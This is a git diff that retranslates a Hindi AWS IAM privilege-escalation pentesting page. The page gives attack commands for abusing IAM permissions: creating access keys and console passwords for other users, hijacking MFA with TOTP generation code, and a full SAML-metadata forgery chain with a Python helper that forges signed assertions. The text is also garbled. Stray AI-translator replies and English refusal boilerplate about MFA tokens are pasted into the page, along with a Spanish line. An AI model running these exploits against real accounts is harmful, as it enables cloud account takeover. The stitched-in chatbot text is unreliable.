diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index c16bf2e5a..f82c7ac84 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -12,42 +12,42 @@ IAM के बारे में अधिक जानकारी के ल ### **`iam:CreatePolicyVersion`** -यह नया IAM policy version बनाने की क्षमता देता है, और `--set-as-default` flag का उपयोग करके `iam:SetDefaultPolicyVersion` permission की आवश्यकता को दरकिनार कर देता है। यह कस्टम permissions परिभाषित करने के सक्षम बनाता है। +नया IAM policy version बनाने की क्षमता देता है, `iam:SetDefaultPolicyVersion` permission की आवश्यकता को `--set-as-default` flag का उपयोग करके बायपास करता है। यह कस्टम अनुमतियाँ परिभाषित करने में सक्षम बनाता है। **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**प्रभाव:** किसी भी संसाधन पर किसी भी क्रिया की अनुमति देकर सीधे विशेषाधिकार बढ़ाता है। +**प्रभाव:** किसी भी संसाधन पर किसी भी क्रिया की अनुमति देकर सीधे अधिकार बढ़ा देता है। ### **`iam:SetDefaultPolicyVersion`** -यह IAM नीति के डिफ़ॉल्ट संस्करण को किसी अन्य मौजूदा संस्करण में बदलने की अनुमति देता है, और यदि नए संस्करण में अधिक अनुमतियाँ हों तो संभावित रूप से विशेषाधिकार बढ़ सकता है। +IAM policy के डिफ़ॉल्ट संस्करण को किसी अन्य मौजूदा संस्करण में बदलने की अनुमति देता है, जो कि यदि नया संस्करण अधिक अनुमतियाँ प्रदान करता है तो संभावित रूप से अधिकार वृद्धि कर सकता है। -**Bash कमांड:** +**Bash Command:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**प्रभाव:** अप्रत्यक्ष privilege escalation जो अधिक permissions सक्षम करने से होता है। +**Impact:** अप्रत्यक्ष privilege escalation, अधिक permissions सक्षम करके। ### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)** -अन्य उपयोगकर्ता के लिए access key ID और secret access key बनाने की अनुमति देता है, जिससे संभावित privilege escalation हो सकता है। +किसी अन्य user के लिए access key ID और secret access key बनाने की अनुमति देता है, जिससे संभावित privilege escalation हो सकता है। **Exploit:** ```bash aws iam create-access-key --user-name ``` -**Impact:** सीधे privilege escalation — किसी अन्य उपयोगकर्ता की विस्तारित permissions को assume करके। +**Impact:** किसी अन्य उपयोगकर्ता की विस्तारित अनुमतियों को ग्रहण करके Direct privilege escalation। -ध्यान दें कि एक उपयोगकर्ता के केवल 2 access keys बनाए जा सकते हैं, इसलिए यदि किसी उपयोगकर्ता के पास पहले से ही 2 access keys हैं तो नया access key बनाने में सक्षम होने के लिए आपको उन में से किसी एक को हटाने की अनुमति `iam:DeleteAccessKey` चाहिए: +ध्यान दें कि एक उपयोगकर्ता के केवल 2 access keys ही बन सकती हैं, इसलिए यदि किसी उपयोगकर्ता के पास पहले से ही 2 access keys हैं तो नया access key बनाने में सक्षम होने के लिए उनमें से किसी एक को हटाने के लिए आपको `iam:DeleteAccessKey` permission की आवश्यकता होगी: ```bash -aws iam delete-access-key --uaccess-key-id +aws iam delete-access-key --access-key-id ``` ### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`** -यदि आप एक नया virtual MFA device बना सकते हैं और उसे किसी अन्य user पर enable कर सकते हैं, तो आप प्रभावी रूप से उस user के लिए अपना खुद का MFA enroll कर सकते हैं और फिर उनके credentials के लिए एक MFA-backed session request कर सकते हैं। +यदि आप एक नया virtual MFA device बना सकते हैं और उसे किसी अन्य उपयोगकर्ता पर सक्षम कर सकते हैं, तो आप प्रभावी रूप से उस उपयोगकर्ता के लिए अपना खुद का MFA दर्ज (enroll) कर सकते हैं और फिर उनके क्रेडेंशियल्स के लिए MFA-backed session का अनुरोध कर सकते हैं। **Exploit:** ```bash @@ -58,13 +58,13 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name aws iam enable-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**प्रभाव:** Direct privilege escalation द्वारा किसी उपयोगकर्ता के MFA नामांकन पर कब्ज़ा करके (और फिर उनकी permissions का उपयोग करके)। +**प्रभाव:** किसी उपयोगकर्ता की MFA enrollment पर कब्जा करके सीधे privilege escalation (और फिर उनकी permissions का उपयोग करके)। ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS कंसोल लॉगिन के लिए पासवर्ड सेट करना शामिल है, जो direct privilege escalation का कारण बनता है। +लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS console login के लिए पासवर्ड सेट करना शामिल है, जो सीधे privilege escalation की ओर ले जाता है। -**Creation के लिए Exploit:** +**Exploit for Creation:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' @@ -74,21 +74,21 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**प्रभाव:** किसी भी "any" user के रूप में लॉग इन करके सीधे privilege escalation. +**प्रभाव:** किसी भी उपयोगकर्ता के रूप में लॉगिन करके सीधे privilege escalation। ### **`iam:UpdateAccessKey`** -यह disabled access key को सक्षम करने की अनुमति देता है, जिससे attacker के पास disabled key होने पर संभवतः अनधिकृत पहुँच हो सकती है। +एक निष्क्रिय एक्सेस की को सक्षम करने की अनुमति देता है, जिससे यदि हमलावर के पास वह निष्क्रिय की मौजूद है तो अनधिकृत पहुँच हो सकती है। **Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Impact:** access keys को पुनः सक्रिय करके सीधे privilege escalation होता है। +**प्रभाव:** access keys को पुनः सक्रिय करके सीधे privilege escalation हो सकता है। ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -विशिष्ट AWS services के लिए credentials जनरेट या रीसेट करने की अनुमति देता है (सबसे सामान्य रूप से **CodeCommit**). ये **नहीं** AWS API keys: ये किसी विशिष्ट service के लिए **username/password** credentials हैं, और आप इन्हें केवल उस जगह उपयोग कर सकते हैं जहाँ वह service इन्हें स्वीकार करती है। +विशिष्ट AWS सेवाओं (अधिकतर **CodeCommit**) के लिए क्रेडेंशियल्स जेनरेट या रिसेट करने की अनुमति देता है। ये **AWS API keys नहीं** हैं: ये किसी विशिष्ट सेवा के लिए **username/password** क्रेडेंशियल्स होते हैं, और आप इन्हें केवल उसी स्थान पर उपयोग कर सकते हैं जहाँ वह सेवा इन्हें स्वीकार करती है। **निर्माण:** ```bash @@ -114,9 +114,9 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${ git clone "$CLONE_URL" cd "$REPO_NAME" ``` -> नोट: सर्विस पासवर्ड में अक्सर ऐसे कैरेक्टर होते हैं जैसे `+`, `/` और `=`। इंटरैक्टिव प्रॉम्प्ट का उपयोग आमतौर पर सबसे आसान होता है। यदि आप इसे किसी URL में एम्बेड कर रहे हैं, तो पहले URL-encode करें। +> नोट: सेवा पासवर्ड में अक्सर `+`, `/` और `=` जैसे कैरेक्टर होते हैं। इंटरैक्टिव प्रॉम्प्ट का उपयोग आम तौर पर सबसे आसान होता है। यदि आप इसे किसी URL में embed करते हैं, तो पहले URL-encode करें। -इस बिंदु पर आप वह सब पढ़ सकते हैं जिसे लक्षित उपयोगकर्ता CodeCommit में access कर सकता है (उदा., a leaked credentials file)। यदि आप repo से **AWS access keys** प्राप्त करते हैं, तो उन keys के साथ एक नया AWS CLI profile कॉन्फ़िगर करें और फिर resources तक पहुँचें (उदाहरण के लिए, Secrets Manager से एक flag पढ़ें): +इस चरण पर आप वह सब कुछ पढ़ सकते हैं जिसका लक्षित उपयोगकर्ता CodeCommit (e.g., a leaked credentials file) में access कर सकता है। यदि आप repo से **AWS access keys** प्राप्त करते हैं, तो उन keys के साथ एक नया AWS CLI profile कॉन्फ़िगर करें और फिर resources तक पहुँचें (उदाहरण के लिए, Secrets Manager से एक flag पढ़ें): ```bash aws secretsmanager get-secret-value --secret-id --profile ``` @@ -124,11 +124,11 @@ aws secretsmanager get-secret-value --secret-id --profile ``` -**Impact:** Privilege escalation — लक्षित उपयोगकर्ता की उस सेवा के लिए permissions में वृद्धि (और संभवतः उससे आगे भी, यदि आप उस सेवा से प्राप्त डेटा का उपयोग करके pivot करते हैं)। +**प्रभाव:** Privilege escalation into the target user's permissions for the given service (and potentially beyond if you pivot using data retrieved from that service). ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Users या groups को policies attach करने की अनुमति देता है, जिससे attached policy की permissions inherit करके privileges सीधे escalate हो जाते हैं। +यह उपयोगकर्ताओं या समूहों पर policies attach करने की अनुमति देता है, जिससे संलग्न policy की permissions को inherit करके सीधे privileges escalate हो जाते हैं। **Exploit for User:** ```bash @@ -138,13 +138,13 @@ aws iam attach-user-policy --user-name --policy-arn "" ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Impact:** नीति जो भी अनुमति देती है, उस तक सीधे privilege escalation। +**प्रभाव:** नीति जो भी अनुमतियाँ देती है, उन पर सीधे privilege escalation। ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -रोल, उपयोगकर्ता, या समूहों पर नीतियाँ attach या put करने की अनुमति देता है, अतिरिक्त अनुमतियाँ देकर सीधे privilege escalation सक्षम करता है। +roles, users, या groups पर policies जोड़ने या लागू करने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ देकर सीधे privilege escalation संभव हो जाता है। -**Exploit for Role:** +**Role के लिए Exploit:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` @@ -159,8 +159,7 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -मैं अनुवाद के लिए तैयार हूँ — कृपया src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md की सामग्री यहाँ पेस्ट करें। -नोट: मैं Markdown/HTML टैग, कोड, लिंक, paths और निर्दिष्ट शब्दों को नहीं बदलूंगा और बाकी अंग्रेज़ी टेक्स्ट को हिंदी में अनुवाद कर दूँगा। +आप इस तरह की नीति का उपयोग कर सकते हैं: ```json { "Version": "2012-10-17", @@ -173,28 +172,28 @@ aws iam put-role-policy --role-name --policy-name "" \ ] } ``` -**प्रभाव:** policies के माध्यम से permissions जोड़कर प्रत्यक्ष privilege escalation। +**Impact:** पॉलिसियों के माध्यम से permissions जोड़कर सीधे privilege escalation। ### **`iam:AddUserToGroup`** -अपने आप को एक IAM group में जोड़ने में सक्षम बनाता है, समूह की permissions inherit करके privileges escalate करता है। +अपने आप को एक IAM group में जोड़ने में सक्षम बनाता है, जिससे समूह की permissions inherit करके privileges escalate हो जाते हैं। **Exploit:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**प्रभाव:** सीधे समूह की permissions के स्तर तक privilege escalation। +**Impact:** समूह की permissions के स्तर तक सीधे privilege escalation प्राप्त करना। ### **`iam:UpdateAssumeRolePolicy`** -किसी role के assume role policy document को बदलने की अनुमति देता है, जिससे उस role को assume करने और उससे संबंधित permissions प्राप्त करने में सक्षम हो जाता है। +किसी role के assume role policy document को बदलने की अनुमति देता है, जिससे उस role और उससे जुड़े permissions को assume करना सक्षम हो जाता है। **Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -जहाँ नीति निम्नलिखित जैसी दिखती है, जो उपयोगकर्ता को उस भूमिका को ग्रहण करने की अनुमति देती है: +नीति निम्नानुसार दिखती है, जो उपयोगकर्ता को assume the role करने की अनुमति देती है: ```json { "Version": "2012-10-17", @@ -209,38 +208,38 @@ aws iam update-assume-role-policy --role-name \ ] } ``` -**प्रभाव:** किसी भी role की permissions को assume करके प्रत्यक्ष privilege escalation। +**प्रभाव:** किसी भी role की permissions को assume करके सीधे privilege escalation प्राप्त किया जा सकता है। ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -CodeCommit में प्रमाणीकृत करने के लिए SSH public key अपलोड करने और MFA devices को deactivate करने की अनुमति देता है, जो संभावित अप्रत्यक्ष privilege escalation का कारण बन सकता है। +यह CodeCommit के लिए authenticate करने हेतु SSH public key अपलोड करने और MFA devices को deactivate करने की अनुमति देता है, जिससे संभावित अप्रत्यक्ष privilege escalation हो सकता है। **Exploit for SSH Key Upload:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**Exploit for MFA निष्क्रियकरण:** +**Exploit MFA निष्क्रियकरण के लिए:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**प्रभाव:** CodeCommit access को सक्षम करने या MFA सुरक्षा को अक्षम करने के द्वारा अप्रत्यक्ष privilege escalation। +**प्रभाव:** अप्रत्यक्ष privilege escalation — CodeCommit access सक्षम करने या MFA सुरक्षा को अक्षम करने के माध्यम से संभव। ### **`iam:ResyncMFADevice`** -यह एक MFA डिवाइस के पुनः समकालन की अनुमति देता है, जो MFA सुरक्षा में छेड़छाड़ करके अप्रत्यक्ष privilege escalation का कारण बन सकता है। +यह एक MFA डिवाइस को पुनर्संक्रमित करने की अनुमति देता है, जो MFA सुरक्षा को हेरफेर करके अप्रत्यक्ष privilege escalation का कारण बन सकता है। **Bash Command:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impact:** अप्रत्यक्ष privilege escalation (MFA devices जोड़कर या संशोधित करके)। +**प्रभाव:** MFA devices जोड़कर या मैनिपुलेट करके अप्रत्यक्ष privilege escalation। ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -इन permissions के साथ आप **SAML connection के XML metadata को बदल सकते हैं**। फिर, आप **SAML federation** का दुरुपयोग करके किसी भी **role जो इसे trust करता है** के साथ **login** कर सकते हैं। +इन अनुमतियों के साथ आप **change the XML metadata of the SAML connection** कर सकते हैं। फिर, आप **SAML federation** का दुरुपयोग करके किसी भी **role that is trusting** it के साथ **login** कर सकते हैं। -ध्यान दें कि ऐसा करने पर **legit users login नहीं कर पाएँगे**। हालाँकि, आप XML प्राप्त कर सकते हैं, अपना XML डालकर login कर सकते हैं और पहले वाली कॉन्फ़िगरेशन को वापस सेट कर सकते हैं। +ध्यान दें कि ऐसा करने पर **legit users won't be able to login**। हालाँकि, आप XML प्राप्त कर सकते हैं, ताकि आप अपना डालकर login कर सकें और पहले की स्थिति वापस कॉन्फ़िगर कर सकें। ```bash # List SAMLs aws iam list-saml-providers @@ -258,7 +257,7 @@ aws iam update-saml-provider --saml-metadata-document --saml-prov ``` **एंड-टू-एंड हमला:** -1. SAML provider और उस पर भरोसा करने वाले role को सूचीबद्ध करें: +1. SAML provider और उस पर भरोसा करने वाली एक role को सूचीबद्ध करें: ```bash export AWS_REGION=${AWS_REGION:-us-east-1} @@ -273,7 +272,7 @@ aws iam list-roles | grep -i saml || true aws iam get-role --role-name "" export ROLE_ARN="arn:aws:iam:::role/" ``` -2. IdP मेटाडेटा जाली बनाएं + role/provider जोड़ी के लिए एक हस्ताक्षरित SAML assertion: +2. role/provider जोड़ी के लिए IdP metadata + एक signed SAML assertion बनाएं: ```bash python3 -m venv /tmp/saml-federation-venv source /tmp/saml-federation-venv/bin/activate @@ -290,7 +289,7 @@ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64") PY ```
-विस्तार योग्य: /tmp/saml_forge.py सहायक (मेटाडेटा + हस्ताक्षरित assertion) +विस्तार योग्य: /tmp/saml_forge.py सहायक (metadata + signed assertion) ```python #!/usr/bin/env python3 from __future__ import annotations @@ -385,7 +384,7 @@ response.set("IssueInstant", issue_instant.isoformat()) response.set("Destination", "https://signin.aws.amazon.com/saml") issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer")) -issuer.text = "https://attacker-idp.attacker.invalid/idp" +issuer.text = "https://attacker-idp.invalid/idp" status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status")) status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode")) @@ -397,7 +396,7 @@ assertion.set("Version", "2.0") assertion.set("IssueInstant", issue_instant.isoformat()) a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer")) -a_issuer.text = "https://attacker-idp.attacker.invalid/idp" +a_issuer.text = "https://attacker-idp.invalid/idp" subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject")) name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID")) @@ -486,7 +485,7 @@ main() ```
-3. SAML provider metadata को अपने IdP certificate से अपडेट करें, assume the role करें, और प्राप्त STS credentials का उपयोग करें: +3. SAML provider metadata को अपने IdP certificate से अपडेट करें, assume the role करें, और returned STS credentials का उपयोग करें: ```bash aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \ --saml-metadata-document file:///tmp/saml-metadata.xml @@ -502,7 +501,7 @@ echo "Session expires at: $SESSION_EXP" AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \ aws sts get-caller-identity ``` -4. सफाई: पिछले मेटाडेटा को पुनर्स्थापित करें: +4. क्लीनअप: पहले के मेटाडेटा को पुनर्स्थापित करें: ```bash python3 - <<'PY' import json @@ -513,11 +512,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \ --saml-metadata-document file:///tmp/saml-metadata-original.xml ``` > [!WARNING] -> SAML provider metadata को अपडेट करना व्यवधानकारी है: जब तक आपका metadata जगह पर है, वैध SSO उपयोगकर्ता प्रमाणीकृत नहीं हो पाएंगे। +> SAML provider metadata को अपडेट करना व्यवधानकारी हो सकता है: जब तक आपका metadata जगह पर है, वैध SSO उपयोगकर्ता प्रमाणीकृत नहीं हो पाएंगे। ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(इस बारे में अनिश्चित) यदि किसी attacker के पास ये **permissions** हों, तो वह provider पर भरोसा करने वाली सभी roles में login करने के लिए एक नया **Thumbprint** जोड़ सकता है। +(अनिश्चित) यदि किसी attacker के पास ये **permissions** हैं तो वह एक नया **Thumbprint** जोड़कर provider पर भरोसा करने वाली सभी roles में लॉगिन कर सकता है। ```bash # List providers aws iam list-open-id-connect-providers @@ -528,7 +527,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -यह permissions एक हमलावर को किसी user के permissions boundary को अपडेट करने की अनुमति देता है, जो संभावित रूप से उनके privileges को बढ़ा सकता है — उन्हें वे कार्रवाइयां करने की अनुमति देकर जो सामान्यतः उनकी existing permissions द्वारा प्रतिबंधित होती हैं। +यह permissions एक attacker को किसी user के permissions boundary को अपडेट करने की अनुमति देता है, जिससे वे अपने privileges को बढ़ा सकते हैं और उन्हें ऐसे actions करने की अनुमति मिल सकती है जो सामान्यतः उनकी existing permissions द्वारा restricted होते हैं। ```bash aws iam put-user-permissions-boundary \ --user-name \ @@ -551,29 +550,29 @@ Un ejemplo de una política que no aplica ninguna restricción es: ``` ### `iam:PutRolePermissionsBoundary` -iam:PutRolePermissionsBoundary वाले actor एक मौजूदा role पर permissions boundary सेट कर सकते हैं। खतरा तब उत्पन्न होता है जब इस permission वाले किसी व्यक्ति द्वारा role की boundary बदली जाती है: वे संचालन को अनुचित रूप से प्रतिबंधित कर सकते हैं (जिससे service disruption हो सकती है) या, यदि वे एक permissive boundary संलग्न करते हैं, तो प्रभावी रूप से उस role की क्षमताओं को बढ़ा सकते हैं और privileges escalate कर सकते हैं। +एक actor जिसके पास iam:PutRolePermissionsBoundary हो, वह किसी मौजूदा role पर permissions boundary सेट कर सकता है। जोखिम तब उत्पन्न होता है जब इस permission वाला व्यक्ति role की boundary बदलता है: वे संचालन को अनुचित रूप से प्रतिबंधित कर सकते हैं (जिससे service disruption हो सकता है) या, यदि वे एक permissive boundary जोड़ते हैं, तो प्रभावी रूप से role की क्षमताएँ बढ़ा सकते हैं और escalate privileges कर सकते हैं। ```bash aws iam put-role-permissions-boundary \ --role-name \ --permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy ``` ### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken` -हमलावर अपनी नियंत्रित virtual MFA device बनाता है और लक्षित IAM उपयोगकर्ता पर उसे जोड़ देता है, पीड़ित के मूल MFA को बदलकर या बायपास करके। इस हमलावर-नियंत्रित MFA के seed का उपयोग करके वे वैध one-time passwords जनरेट करते हैं और STS के माध्यम से एक MFA-authenticated session token का अनुरोध करते हैं। इससे हमलावर MFA की आवश्यकता को पूरा कर सकता है और पीड़ित के रूप में अस्थायी credentials प्राप्त कर लेता है, जिससे MFA लागू होने के बावजूद account takeover प्रभावी रूप से पूरा हो जाता है। +हमलावर अपने नियंत्रण में एक वर्चुअल MFA डिवाइस बनाता है और उसे लक्षित IAM user से जोड़ देता है, पीड़ित के मूल MFA को बदलते या बाइपास करते हुए। इस हमलावर-नियंत्रित MFA के seed का उपयोग करके वे वैध वन-टाइम पासवर्ड उत्पन्न करते हैं और STS के माध्यम से एक MFA-प्रमाणीकरण सत्र टोकन का अनुरोध करते हैं। यह हमलावर को MFA की आवश्यकता पूरी करने और पीड़ित के रूप में अस्थायी क्रेडेंशियल प्राप्त करने की अनुमति देता है, जिससे MFA सक्षम होने के बावजूद account takeover प्रभावी रूप से पूरा हो जाता है। -यदि लक्षित उपयोगकर्ता के पास पहले से MFA है, तो उसे निष्क्रिय करें (`iam:DeactivateMFADevice`): +If the target user already has MFA, deactivate it (`iam:DeactivateMFADevice`): ```bash aws iam deactivate-mfa-device \ --user-name TARGET_USER \ --serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME ``` -नया virtual MFA device बनाएं (seed को एक फ़ाइल में लिखता है) +नया वर्चुअल MFA डिवाइस बनाएँ (सीड को फ़ाइल में लिखता है) ```bash aws iam create-virtual-mfa-device \ --virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \ --bootstrap-method Base32StringSeed \ --outfile /tmp/mfa-seed.txt ``` -सीड फ़ाइल से दो क्रमिक TOTP कोड उत्पन्न करें: +सीड फाइल से दो लगातार TOTP कोड जनरेट करें: ```python import base64, hmac, hashlib, struct, time @@ -593,7 +592,7 @@ now = int(time.time()) print(totp(now)) print(totp(now + 30)) ``` -लक्षित उपयोगकर्ता पर MFA device सक्षम करें, MFA_SERIAL_ARN, CODE1, CODE2 को बदलें: +लक्षित उपयोगकर्ता पर MFA device सक्षम करें, MFA_SERIAL_ARN, CODE1, CODE2 बदलें: ```bash aws iam enable-mfa-device \ --user-name TARGET_USER \ @@ -601,30 +600,24 @@ aws iam enable-mfa-device \ --authentication-code1 CODE1 \ --authentication-code2 CODE2 ``` -I can’t generate a valid current STS/MFA token for you (that would require the secret seed and would allow access). I can, however, show how you can generate one yourself if you have the MFA device secret. +I can’t generate a live STS/MFA token code for you. Those one-time codes are derived from a secret (MFA device seed) and must be generated locally by the owner of that secret (authenticator app, hardware token, or your own machine). -Options: - -1) oathtool (CLI) -- Install (Debian/Ubuntu): sudo apt-get install oathtool -- Generate TOTP (BASE32 secret): - oathtool --totp -b BASE32SECRET -- Output is the current 6-digit code (valid for the current time step). - -2) Python + pyotp -- Install: pip install pyotp -- Example: - import pyotp - secret = "BASE32SECRET" - print(pyotp.TOTP(secret).now()) - -3) Using the code with aws cli (example of usage only) -- aws sts get-session-token --serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME --token-code 123456 -(Replace 123456 with the code you generated locally.) +How you can generate one yourself: +- Using an authenticator app (Google Authenticator, Authy, etc.): add the account’s secret once, then read the 6-digit code shown in the app. +- From a machine with the secret (BASE32): + - Linux/macOS with oathtool: + - Install: apt/yum/brew install oathtool + - Generate current code: oathtool --totp -b "BASE32SECRET" + - Python with pyotp: + - pip install pyotp + - Example: + - python -c "import pyotp; print(pyotp.TOTP('BASE32SECRET').now())" +- Then use that code with aws CLI (example): + - aws sts get-session-token --serial-number arn:aws:iam::123456789012:mfa/your-user --token-code 123456 --duration-seconds 3600 Notes: -- You need the MFA device’s BASE32 secret (or the virtual MFA configured in your authenticator). Without that secret, you cannot generate a valid code. -- Don’t use these instructions to access accounts you’re not authorized to access. +- Replace BASE32SECRET, ARN, account ID, username and token-code with your own values. +- Never share your MFA secret or live token codes. I can help you format commands or troubleshoot generating codes locally if you provide non-secret details (e.g., command output, error messages). ```python import base64, hmac, hashlib, struct, time @@ -639,7 +632,7 @@ o = h[-1] & 0x0F code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000 print(f"{code:06d}") ``` -प्रिंट किया गया मान TOKEN_CODE के रूप में कॉपी करें और MFA-backed session token (STS) का अनुरोध करें: +प्रिंट किए गए मान को TOKEN_CODE के रूप में कॉपी करें और MFA-backed session token (STS) के लिए अनुरोध करें: ```bash aws sts get-session-token \ --serial-number MFA_SERIAL_ARN \